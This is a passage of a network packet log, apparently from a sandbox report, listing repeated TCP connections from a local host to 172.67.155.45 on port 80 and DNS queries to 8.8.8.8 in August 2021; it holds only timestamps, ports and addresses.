Aug 4, 2021 13:57:10.685976982 CEST	49853	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.686024904 CEST	49853	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.707434893 CEST	80	49853	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.707484007 CEST	80	49853	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.707886934 CEST	49853	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.905891895 CEST	49854	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.923306942 CEST	80	49854	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.923532009 CEST	49854	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.928805113 CEST	49854	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.946069002 CEST	80	49854	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.946243048 CEST	49854	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.963161945 CEST	80	49854	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.194677114 CEST	80	49854	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.194891930 CEST	49854	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.195177078 CEST	80	49854	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.195302010 CEST	49854	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.212407112 CEST	80	49854	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.413348913 CEST	49855	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.431071043 CEST	80	49855	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.431272030 CEST	49855	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.435950041 CEST	49855	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.453454018 CEST	80	49855	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.453643084 CEST	49855	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.470608950 CEST	80	49855	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.711925030 CEST	80	49855	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.711972952 CEST	80	49855	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.712133884 CEST	49855	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.712217093 CEST	49855	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.732327938 CEST	80	49855	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.931828022 CEST	49856	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.949548960 CEST	80	49856	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.949795961 CEST	49856	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.956007957 CEST	49856	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.972930908 CEST	80	49856	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:11.973130941 CEST	49856	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:11.991941929 CEST	80	49856	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.221829891 CEST	80	49856	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.221883059 CEST	80	49856	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.221947908 CEST	49856	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.221973896 CEST	49856	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.240091085 CEST	80	49856	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.412540913 CEST	49857	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.433684111 CEST	80	49857	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.433896065 CEST	49857	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.437148094 CEST	49857	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.456523895 CEST	80	49857	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.456599951 CEST	49857	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.473596096 CEST	80	49857	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.712985039 CEST	80	49857	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.713052988 CEST	80	49857	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.713201046 CEST	49857	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.713231087 CEST	49857	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.732425928 CEST	80	49857	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.924077988 CEST	49858	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.942542076 CEST	80	49858	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.942668915 CEST	49858	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.946620941 CEST	49858	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.965491056 CEST	80	49858	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:12.965658903 CEST	49858	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:12.984827042 CEST	80	49858	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.234055996 CEST	80	49858	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.234204054 CEST	80	49858	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.234385967 CEST	49858	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.234414101 CEST	49858	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.252455950 CEST	80	49858	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.453443050 CEST	49859	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.471817970 CEST	80	49859	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.472022057 CEST	49859	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.477783918 CEST	49859	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.496531010 CEST	80	49859	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.496697903 CEST	49859	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.515868902 CEST	80	49859	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.737718105 CEST	80	49859	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.737828016 CEST	80	49859	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.737889051 CEST	49859	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.737991095 CEST	49859	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.756865978 CEST	80	49859	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.964905024 CEST	49860	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.981905937 CEST	80	49860	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:13.982127905 CEST	49860	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:13.985964060 CEST	49860	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.004410982 CEST	80	49860	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.005821943 CEST	49860	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.022881031 CEST	80	49860	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.291867018 CEST	80	49860	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.291925907 CEST	80	49860	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.292160034 CEST	49860	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.292212963 CEST	49860	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.312732935 CEST	80	49860	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.511576891 CEST	49861	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.530615091 CEST	80	49861	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.530811071 CEST	49861	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.538705111 CEST	49861	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.557248116 CEST	80	49861	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.557390928 CEST	49861	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.576436996 CEST	80	49861	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.801084995 CEST	80	49861	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.801342964 CEST	80	49861	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:14.801393032 CEST	49861	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.801418066 CEST	49861	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:14.820491076 CEST	80	49861	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.018260956 CEST	49862	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.035644054 CEST	80	49862	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.035939932 CEST	49862	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.040725946 CEST	49862	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.058262110 CEST	80	49862	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.058413982 CEST	49862	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.076009035 CEST	80	49862	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.300916910 CEST	80	49862	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.300960064 CEST	80	49862	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.301090956 CEST	49862	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.301130056 CEST	49862	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.319333076 CEST	80	49862	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.509054899 CEST	49863	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.528650045 CEST	80	49863	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.528769970 CEST	49863	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.532512903 CEST	49863	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.552004099 CEST	80	49863	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.552090883 CEST	49863	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.569287062 CEST	80	49863	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.823664904 CEST	80	49863	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.823776007 CEST	80	49863	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:15.823904037 CEST	49863	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.824001074 CEST	49863	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:15.840976000 CEST	80	49863	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.028935909 CEST	49864	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.045977116 CEST	80	49864	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.046154022 CEST	49864	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.050123930 CEST	49864	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.067223072 CEST	80	49864	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.067411900 CEST	49864	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.088354111 CEST	80	49864	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.310225010 CEST	80	49864	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.310327053 CEST	80	49864	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.310549021 CEST	49864	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.310683966 CEST	49864	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.329696894 CEST	80	49864	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.514040947 CEST	49865	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.533472061 CEST	80	49865	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.533600092 CEST	49865	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.549231052 CEST	49865	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.568675041 CEST	80	49865	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.568789005 CEST	49865	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.586019039 CEST	80	49865	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.978487015 CEST	80	49865	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.978548050 CEST	80	49865	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:16.978774071 CEST	49865	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.979151011 CEST	49865	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:16.996184111 CEST	80	49865	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.202502966 CEST	49866	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.220321894 CEST	80	49866	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.220475912 CEST	49866	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.223494053 CEST	49866	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.240542889 CEST	80	49866	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.240674973 CEST	49866	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.258886099 CEST	80	49866	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.476685047 CEST	80	49866	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.476735115 CEST	80	49866	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.476886034 CEST	49866	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.476905107 CEST	49866	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.495461941 CEST	80	49866	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.693097115 CEST	49867	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.711996078 CEST	80	49867	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.712105989 CEST	49867	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.715692997 CEST	49867	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.734044075 CEST	80	49867	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:17.734177113 CEST	49867	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:17.752996922 CEST	80	49867	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.003648996 CEST	80	49867	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.003701925 CEST	80	49867	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.003968954 CEST	49867	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.004097939 CEST	49867	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.020941019 CEST	80	49867	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.200622082 CEST	49868	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.219099045 CEST	80	49868	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.219405890 CEST	49868	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.222462893 CEST	49868	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.241409063 CEST	80	49868	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.241600990 CEST	49868	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.259047985 CEST	80	49868	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.493555069 CEST	80	49868	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.493671894 CEST	80	49868	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.493783951 CEST	49868	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.493814945 CEST	49868	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.511313915 CEST	80	49868	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.696763992 CEST	49869	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.713619947 CEST	80	49869	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.713710070 CEST	49869	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.717029095 CEST	49869	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.733805895 CEST	80	49869	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.733921051 CEST	49869	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.751456022 CEST	80	49869	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.983365059 CEST	80	49869	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.983568907 CEST	49869	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:18.983663082 CEST	80	49869	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:18.983731985 CEST	49869	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:19.001033068 CEST	80	49869	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:19.190674067 CEST	49870	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:19.209604979 CEST	80	49870	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:19.209732056 CEST	49870	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:20.204842091 CEST	49870	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:20.221824884 CEST	80	49870	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:20.221901894 CEST	49870	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:20.238991022 CEST	80	49870	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:20.458329916 CEST	80	49870	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:20.458488941 CEST	80	49870	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:20.458512068 CEST	49870	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:20.458600998 CEST	49870	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:20.477369070 CEST	80	49870	172.67.155.45	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2021 13:55:06.309995890 CEST	53784	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:06.345252037 CEST	53	53784	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:06.454458952 CEST	65307	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:06.479732037 CEST	53	65307	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:07.495865107 CEST	64344	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:07.528281927 CEST	53	64344	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:08.141495943 CEST	62060	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:08.176552057 CEST	53	62060	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:08.189291954 CEST	61805	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:08.221672058 CEST	53	61805	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:09.788499117 CEST	54795	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:09.822442055 CEST	53	54795	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:10.999047995 CEST	49557	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:11.034526110 CEST	53	49557	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:11.924891949 CEST	61733	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:11.952349901 CEST	53	61733	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:12.807652950 CEST	65447	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:12.838428974 CEST	53	65447	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:16.179297924 CEST	52441	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:16.205708981 CEST	53	52441	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:16.902623892 CEST	62176	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:16.935328960 CEST	53	62176	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:17.593765020 CEST	59596	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:17.618776083 CEST	53	59596	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:18.282900095 CEST	65296	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:18.311557055 CEST	53	65296	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:18.988548994 CEST	63183	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:19.018465042 CEST	53	63183	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:19.661664009 CEST	60151	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:19.689413071 CEST	53	60151	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:32.048710108 CEST	56969	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:32.083093882 CEST	53	56969	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:40.869290113 CEST	55161	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:40.901810884 CEST	53	55161	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:50.772980928 CEST	54757	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:50.813260078 CEST	53	54757	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:51.344713926 CEST	49992	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:51.386938095 CEST	53	49992	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:51.801749945 CEST	60075	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:51.834687948 CEST	53	60075	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:52.422632933 CEST	55016	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:52.455549955 CEST	53	55016	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:52.976325035 CEST	64345	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:53.000938892 CEST	53	64345	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:53.525620937 CEST	57128	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:53.561230898 CEST	53	57128	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:54.057594061 CEST	54791	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:54.089994907 CEST	53	54791	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:54.592746973 CEST	50463	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:54.625624895 CEST	53	50463	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:55.170099974 CEST	50394	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:55.207468033 CEST	53	50394	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:55.717700958 CEST	58530	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:55.752976894 CEST	53	58530	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:56.286509037 CEST	53813	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:56.322191000 CEST	53	53813	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:56.874667883 CEST	63732	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:56.908143997 CEST	53	63732	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:57.423477888 CEST	57344	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:57.459016085 CEST	53	57344	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:57.908878088 CEST	54450	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:57.957418919 CEST	53	54450	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:57.983967066 CEST	59261	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:58.019444942 CEST	53	59261	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:58.699152946 CEST	57151	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:58.728650093 CEST	53	57151	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:59.255558968 CEST	59413	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:55:59.293364048 CEST	53	59413	8.8.8.8	192.168.2.5
Aug 4, 2021 13:55:59.966845989 CEST	60516	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:00.002712965 CEST	53	60516	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:01.589143038 CEST	51649	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:01.614033937 CEST	53	51649	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:02.264506102 CEST	65086	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:02.296843052 CEST	53	65086	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:02.854991913 CEST	56432	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:02.890501976 CEST	53	56432	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:03.437350988 CEST	52929	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:03.462352991 CEST	53	52929	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:03.990529060 CEST	64317	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:04.028107882 CEST	53	64317	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:04.588155031 CEST	61004	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:04.627362967 CEST	53	61004	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:05.181015015 CEST	56895	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:05.213673115 CEST	53	56895	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:05.736706972 CEST	62372	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:05.772973061 CEST	53	62372	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:06.292195082 CEST	61515	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:06.326185942 CEST	53	61515	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:06.854794025 CEST	56675	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:06.881139994 CEST	53	56675	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:07.440531015 CEST	57172	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:07.465500116 CEST	53	57172	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:07.985344887 CEST	55267	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:08.020471096 CEST	53	55267	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:08.547781944 CEST	50969	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:08.573862076 CEST	53	50969	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:09.133086920 CEST	64362	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:09.169591904 CEST	53	64362	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:09.803711891 CEST	54766	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:09.831502914 CEST	53	54766	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:10.393202066 CEST	61446	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:10.418194056 CEST	53	61446	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:11.057431936 CEST	57515	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:11.088457108 CEST	53	57515	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:11.581376076 CEST	58199	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:11.614634991 CEST	53	58199	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:12.108580112 CEST	65221	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:12.141104937 CEST	53	65221	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:12.683875084 CEST	61573	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:12.708617926 CEST	53	61573	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:13.253194094 CEST	56562	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:13.283478022 CEST	53	56562	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:13.836211920 CEST	53591	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:13.863632917 CEST	53	53591	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:14.486243963 CEST	59688	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:14.523879051 CEST	53	59688	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:15.033827066 CEST	56032	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:15.066389084 CEST	53	56032	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:15.537480116 CEST	61150	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:15.573673964 CEST	53	61150	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:15.602394104 CEST	63458	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:15.639621019 CEST	53	63458	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:16.202543974 CEST	50422	53	192.168.2.5	8.8.8.8
